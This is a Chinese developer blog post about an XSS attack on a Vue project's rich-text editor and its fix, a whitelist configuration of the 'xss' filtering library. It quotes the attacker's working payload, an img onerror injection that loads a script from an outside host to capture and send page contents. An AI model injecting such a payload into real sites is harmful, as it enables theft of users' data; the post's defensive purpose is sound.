一次VUE項目中遇到XSS攻擊的實戰(zhàn)記錄
前言
隨著互聯(lián)網(wǎng)的高速發(fā)展,信息安全問題已經(jīng)成為企業(yè)最為關(guān)注的焦點之一,而前端又是引發(fā)企業(yè)安全問題的高危據(jù)點。在移動互聯(lián)網(wǎng)時代,前端人員除了傳統(tǒng)的 XSS、CSRF 等安全問題之外,又時常遭遇網(wǎng)絡(luò)劫持、非法調(diào)用 Hybrid API 等新型安全問題。當(dāng)然,瀏覽器自身也在不斷在進(jìn)化和發(fā)展,不斷引入 CSP、Same-Site Cookies 等新技術(shù)來增強安全性,但是仍存在很多潛在的威脅,這需要前端技術(shù)人員不斷進(jìn)行“查漏補缺”。
發(fā)現(xiàn)原因
一切的原因都?xì)w咎于富文本編輯器....
應(yīng)需求將文本域修改成富文本編輯器支持用戶直接粘貼圖片遭到用戶使用網(wǎng)絡(luò)圖片上傳方式攻擊

攻擊代碼1" onerror=s=createElement('script');body.appendChild(s);s.src='//x0.nz/nQqS';
在數(shù)據(jù)回顯時,圖片報錯并執(zhí)行onerror事件,導(dǎo)致當(dāng)前頁面被截圖發(fā)送至指定郵箱
最開始解決辦法是直接關(guān)閉富文本編輯器上傳網(wǎng)絡(luò)圖片的方式,但是后續(xù)再次遭到此類攻擊,攻擊者使用“fiddler”修改參數(shù)達(dá)到同樣效果
最終采用第三方防御XSS攻擊插件并通過配置白名單解決,在提交以及拿到后端返回數(shù)據(jù)時進(jìn)行過濾
插件中文文檔地址:github.com/leizongmin/…
npm install xss import filterXSS from "xss"
自定義過濾規(guī)則
在調(diào)用 xss() 函數(shù)進(jìn)行過濾時,可通過第二個參數(shù)來設(shè)置自定義規(guī)則:
options = {}; // 自定義規(guī)則
html = filterXSS('<script>alert("xss");</script>', options);
通過 whiteList 來指定,格式為:{'標(biāo)簽名': ['屬性1', '屬性2']}。不在白名單上的標(biāo)簽將被過濾,不在白名單上的屬性也會被過濾。
let options = {
stripIgnoreTagBody: true, // 不在白名單中的標(biāo)簽以及標(biāo)簽里面的內(nèi)容直接刪除
whiteList: {
h1: ["style"],
h2: ["style"],
h3: ["style"],
h4: ["style"],
h5: ["style"],
h6: ["style"],
hr: ["style"],
span: ["style"],
strong: ["style"],
b: ["style"],
i: ["style"],
br: [],
p: ["style"],
pre: ["style"],
code: ["style"],
a: ["style", "target", "href", "title", "rel"],
img: ["style", "src", "title"],
div: ["style"],
table: ["style", "width", "border"],
tr: ["style"],
td: ["style", "width", "colspan"],
th: ["style", "width", "colspan"],
tbody: ["style"],
ul: ["style"],
li: ["style"],
ol: ["style"],
dl: ["style"],
dt: ["style"],
em: ["style"],
cite: ["style"],
section: ["style"],
header: ["style"],
footer: ["style"],
blockquote: ["style"],
audio: ["autoplay", "controls", "loop", "preload", "src"],
video: [
"autoplay",
"controls",
"loop",
"preload",
"src",
"height",
"width",
],
},
css: {
// 因為上面白名單中允許了標(biāo)簽的style屬性,所以需要防止攻擊者使用此途徑進(jìn)行攻擊
whiteList: {
color: true,
"background-color": true,
width: true,
height: true,
"max-width": true,
"max-height": true,
"min-width": true,
"min-height": true,
"font-size": true,
},
},
}
content = filterXSS(content,options)
總結(jié)
到此這篇關(guān)于VUE項目中遇到XSS攻擊的文章就介紹到這了,更多相關(guān)VUE項目XSS攻擊內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Vue源碼解析之?dāng)?shù)據(jù)響應(yīng)系統(tǒng)的使用
這篇文章主要介紹了Vue源碼解析之?dāng)?shù)據(jù)響應(yīng)系統(tǒng)的使用,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2019-04-04
vue3中如何通過ref和$parent結(jié)合defineExpose實現(xiàn)父子組件之間的通信
這篇文章主要介紹了vue3中通過ref和$parent結(jié)合defineExpose實現(xiàn)父子組件之間的通信,Vue3中通過ref和$parent的結(jié)合使用,及defineExpose的方法,可以非常便捷地實現(xiàn)父子組件之間的通信,需要的朋友可以參考下2023-07-07
vue3實現(xiàn)無縫滾動列表效果(大屏數(shù)據(jù)輪播場景)
vue3-scroll-seamless 是一個用于 Vue 3 的插件,用于實現(xiàn)無縫滾動的組件,它可以讓內(nèi)容在水平或垂直方向上無縫滾動,適用于展示輪播圖、新聞滾動、圖片展示等場景,本文就給大家介紹了vue3實現(xiàn)無縫滾動列表效果,需要的朋友可以參考下2024-07-07
electron-vue利用webpack打包實現(xiàn)多頁面的入口文件問題
項目需要在electron的項目中新打開一個窗口,利用webpack作為靜態(tài)資源打包器,發(fā)現(xiàn)在webpack中可以設(shè)置多頁面的入口,今天來講一下我在electron中利用webpack建立多頁面入口的踩坑經(jīng)驗,需要的朋友可以參考下2019-05-05
element?ui組件中element.style怎么改詳解
element.style是一種內(nèi)聯(lián)樣式,一般都是代碼里寫死的,下面這篇文章主要給大家介紹了關(guān)于element?ui組件中element.style怎么改的相關(guān)資料,文中通過圖文介紹的非常詳細(xì),需要的朋友可以參考下2023-06-06

